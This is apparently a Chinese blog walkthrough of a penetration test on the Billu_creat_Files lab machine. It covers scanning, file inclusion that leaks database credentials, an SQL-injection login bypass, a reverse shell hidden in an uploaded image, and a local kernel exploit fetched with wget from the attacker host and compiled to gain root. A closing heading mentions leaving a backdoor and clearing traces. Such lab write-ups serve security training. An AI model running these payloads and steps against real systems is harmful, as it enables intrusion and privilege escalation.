靶機滲透測試實戰(八)——Billu_creat_Files滲透實戰

目錄

一. 實驗環境

二. 實驗流程

三. 實驗步驟

(一)信息收集——主機發現

1. 查看Kali的IP信息;(IP:192.168.37.131)

2. 掃描主機(netdiscover)

(二)信息收集——端口掃描

1. 掃描端口(masscan)

2. 詳細掃描端口信息(nmap)

(三)滲透測試

80端口(http服務)

     1. 訪問目標靶機的80端口

     2. 網站目錄掃描(dirb)

     3. 查看掃描到的網站目錄

     4. 登錄數據庫;

     5. 方式2:SQL注入繞過登錄;

     6. 上傳圖片木馬;

     7. 反彈shell;

     8. 提權

     9. 方式2獲取shell並提權

     10. 留後門,清痕跡;

四. 實驗總結


一. 實驗環境

  • 靶機:Billu_creat_Files,IP地址暫時未知;
  • 測試機:Kali,IP地址:192.168.37.131;
  • 測試機:物理機win7;

二. 實驗流程

  • 信息收集——主機發現
  • 信息收集——端口掃描
  • 滲透測試

三. 實驗步驟

(一)信息收集——主機發現

1. 查看Kali的IP信息;(IP:192.168.37.131)

2. 掃描主機(netdiscover)

netdiscover -i eth0 -r 192.168.37.0/24

Netdiscover: -i 指定網卡 -r 指定網段

(二)信息收集——端口掃描

1. 掃描端口(masscan)

masscan --rate=10000 --ports 0-65535 192.168.37.147

掃描發現目標開放了22,80端口;

2. 詳細掃描端口信息(nmap)

nmap -T4 -sV -O -p 22,80 192.168.37.147

22(ssh),80(http);

(三)滲透測試

80端口(http服務)

1. 訪問目標靶機的80端口

1.1> 查看http服務首頁信息;

http://192.168.37.147

1.2> 嘗試使用弱口令登錄;

登錄失敗;發現該登錄頁面沒有驗證碼和登錄次數的限制,可以嘗試使用暴力破解;

2. 網站目錄掃描(dirb)

dirb http://192.168.37.147

嘗試拿大字典掃描

3. 查看掃描到的網站目錄

3.1> http://192.168.37.147/add

3.2> http://192.168.37.147/in

3.3> http://192.168.37.147/phpmy

發現了一個數據庫的登錄頁面;

3.4> http://192.168.37.147/test

  • 抓取到的包爲get方式,網站頁面的傳輸方式爲post方式;
  • BurpSuite右鍵有一個可以直接該request method的按鈕!
  • 發現存在文件包含;

3.5> 包含index.php進來,發現包含了兩個頭文件;

3.6> 包含head.php

3.7> 包含c.php;

  • 查詢到了連接數據庫的用戶名billu,密碼b0x_billu;
  • 最後一個參數ica_lab是數據庫的名稱;

4. 登錄數據庫;

4.1> 使用獲取到的賬戶和密碼登錄數據庫;成功登錄;

4.2> 發現有兩張表,一張是Mysql自帶的information_schema,一張是ica_lab,在ica_lab數據庫中有一個表是auth(認證的簡寫),查看該表中的內容 ,猜測應該是openssh密碼或者前面的web登錄密碼.;

用戶名:biLLu,密碼:hEx_it

4.3> 嘗試登錄ssh;失敗;

4.4> 嘗試登錄web的主頁;成功登錄;

發現這個頁面可以add user,上傳圖片,我們嘗試進行上傳;

5. 方式2:SQL注入繞過登錄;

5.1> 用test.php去包含首頁登錄的index.php,進行sql注入繞過;

sql注入一個重要的原則就是閉合輸入查詢,str_replace的作用是將字符串' 替換爲空,因此構造SQL注入登錄payload時,必須含有'字符串,urldecode的作用是將輸入解碼。

5.2> SQL注入語句閉合繞過登錄;

'or 1=1-- -\' 成功繞過登錄;

6. 上傳圖片木馬;

6.1> 上傳圖片木馬;

成功上傳上去圖片木馬;

6.2> 使用中國菜刀查看;

菜刀連接失敗;因爲上傳文件是post方式;不是get方式

7. 反彈shell;

7.1> 將Kali中的php-reverse-shell.php複製到物理機上重命名爲gou.php,並修改其中的ip和監聽的端口;

 

7.2> 合成新的圖片Jack.jpg;

7.3> 上傳jack.jpg;

7.4> 在瀏覽器中加載hackbar插件;並在Kali上監聽端口,執行;

7.5> 在Kali上查看監聽的端口,成功獲取webshell;

成功獲取到webshell;

8. 提權

8.1> uname -acat /etc/issus查看系統的版本信息和內核

爲:Ubuntu 12.04.5 LTS、Linux indishell 3.13.0-32-generic

8.2> python -c ‘import pty;pty.spawn(“/bin/bash”)’  

將shell轉換爲交互式的tty;

8.3> 在Kali中搜索版本的漏洞;

searchsploit ubuntu 12.04

8.4> 下載exp到靶機的/tmp目錄下,並執行;(注:如下終端產生了雙寫,可以多嘗試幾次獲取shell)

wget http://192.168.37.131/37292.c

8.5> 編譯並執行;

gcc -pthread 37292.c -o exp -lcrypt   #編譯

./exp       #執行

 

成功提權到root;

9. 方式2獲取shell並提權

9.1> 查看phpmyadmin的默認的配置文件內容;

  • 一般來說,配置文件都是裏面都是很重要的信息,phpmyadmin的默認的配置文件是:config.inc.php
  • 在linux主機的apach中猜測路徑默認在/var/www/phpmy下面;
  • 所以,我們可以採用POST模式包含該配置文件,通過文件包含,讀取config.inc.php文件;
  • 發現了root賬戶和對應密碼:roottoor;

9.2> 嘗試遠程連接ssh;

直接獲得root權限;

10. 留後門,清痕跡;

四. 實驗總結

  1. 存在文件包含漏洞,對其進行利用(可獲取很多信息)
  2. 掃描出的文件對其進行訪問抓包,獲取到用戶名密碼等有用信息
  3. 在phpmyadmin數據庫中可獲取很多有用信息,phpmyadmin的默認的配置文件是:config.inc.php
  4. 查詢版本信息(也可以使用 lsb_release -a );

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章